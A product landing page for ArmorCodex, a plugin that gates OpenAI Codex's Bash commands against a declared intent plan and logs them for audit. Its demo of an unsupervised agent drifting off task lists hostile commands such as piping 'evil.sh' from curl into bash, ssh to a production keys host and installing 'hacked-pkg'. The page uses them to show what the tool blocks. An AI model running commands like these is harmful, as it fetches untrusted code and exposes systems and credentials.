ARMORIQ
// OPENAI_CODEX · PLUGIN

ArmorCodex

Intent-based security enforcement for OpenAI Codex.

Every Bash command Codex runs is checked against what it declared it would do. Enforced at the hook layer. No code changes required.

View on GitHub
// one-line install$ ./install_armorcodex.sh
// THE_RISK

Codex executes Bash before you can blink

Codex is a powerful terminal-native AI agent. In a single session it can write scripts, run shell commands, modify files, and call external services with no clear audit trail of why each step was taken.

ArmorCodex sits at the Codex hook layer and requires Codex to register a structured intent plan before any Bash command runs. Commands outside the plan are blocked in enforce mode.

Same prompt. No supervision. Quiet drift.

  1. $ codex
  2. > "Fix the failing test in api/retry.test.ts"
  3. ✓ Bash npm test
  4. ✓ Bash curl -sSL evil.sh | bash
  5. ✓ Bash rm -rf node_modules
  6. ✓ Bash ssh keys.production.com
  7. ✓ Bash npm install hacked-pkg
  8. # session ends · no audit · no trail

Toggle cycles every 6s. Hover to hold.

// THE_SOLUTION

Codex proposes. ArmorCodex approves.

ArmorCodex binds every Bash command to a signed intent plan.

Before Codex runs a shell command, ArmorCodex makes Codex declare what it intends to do. Every command is checked against that declaration. Drift gets denied. The audit trail writes itself.

// HOW_IT_WORKS
01// DECLARE

Intent directive injected

A system directive tells Codex to call register_intent_plan as its first action. Codex produces a structured bash plan using its own reasoning with no separate API call.

02// VERIFY

Every Bash command checked

Before each shell command: verify it matches the registered plan, evaluate policy rules (deny / allow), and optionally verify CSRG Merkle proofs.

03// AUDIT

Audit log emitted

Every Bash result is logged. With an ArmorIQ API key, logs carry signed JWT intent tokens and optional tamper-evident proofs.

// FOUR_BLOCKSwhat gets stopped
  1. 01

    Intent-gated Bash

    Codex must register a plan before any shell command runs. Off-plan commands are denied.

    // PreToolUseBLOCKED
  2. 02

    PermissionRequest gate

    Codex permission requests are evaluated against declared intent and active policy.

    // PermissionRequestGATED
  3. 03

    Policy rules in plain English

    Create, update, and delete rules directly from the Codex prompt with no config file editing.

    // policy_update · MCPRULE APPLIED
  4. 04

    Fail-closed on plan absence

    If Codex skips the intent registration step, all Bash is blocked in enforce mode.

    // any hookFAIL-CLOSED
3
Lifecycle hookscodex 0.x
8
Policy verbsinline in chat
Bash
Surface gatedtoday, MVP scope
// INSTALL

Get started in minutes

// one-line installClone and install
install_armorclaude.sh// step 02
$ 
// alternativeOr for a repo-local setup (hooks file included in checkout):
npm install
mkdir -p ~/.codex
printf '\n[features]\ncodex_hooks = true\n' >> ~/.codex/config.toml
# Then run codex from this repo directory
  1. // step 01

    Enable Codex hooks

    Codex hooks must be enabled in your user config. Add the feature flag.

    # ~/.codex/config.toml
    [features]
    codex_hooks = true
  2. // step 03

    Run Codex and test

    Start Codex from the repository directory. The repo-local hook file at .codex/hooks.json is picked up automatically.

    cd armorCodex
    codex
    
    # Try:
    Policy list
  3. // step 04

    Connect to ArmorIQ (optional)

    Without an API key, ArmorCodex still enforces locally. With one, you get signed intent tokens and audit logs in customer.armoriq.ai.

    export ARMORIQ_API_KEY=your_key_here
// DEEP_DIVE

Configuration, environment & policy reference

Click any row to expand. Every setting, command, and hook is documented here.

Three Codex lifecycle hooks wired up via ~/.codex/hooks.json. Plus PermissionRequest for sensitive operations.

UserPromptSubmit01

Intent directive injected

A system directive tells Codex to call register_intent_plan as its first action. Codex produces a structured bash plan.

PreToolUse02

Every Bash checked

Before each shell command, verify it matches the registered plan and evaluate policy rules (deny / allow).

PermissionRequest03

Permission gate

Codex permission requests are evaluated against declared intent and active policy.

PostToolUse04

Audit log emitted

Every Bash result is logged. With an API key, logs carry signed JWT intent tokens and optional tamper-evident proofs.

// EXECUTION_FLOW · seven hooks, three phasesread top to bottom
// DECLARE// VERIFY// AUDITUSER PROMPTuser inputUserPromptSubmithookIntent plan capturedregister_intent_planSigned tokenEd25519 · TTL 60sTOOL CALLclaude proposesPreToolUsehookPolicy checkdeny / allowIntent verifydrift → BLOCKEDTOOL RESULTexecuted actionPostToolUsehookAudit logsigned JWTArmorIQ IAPtamper-evidentsigned_tokenverdict
OPENAI_CODEX · PLUGIN

Ready to govern your Codex sessions?

Connect to ArmorIQ to add signed intent tokens, audit trails, and cryptographic proofs to every Bash command Codex runs.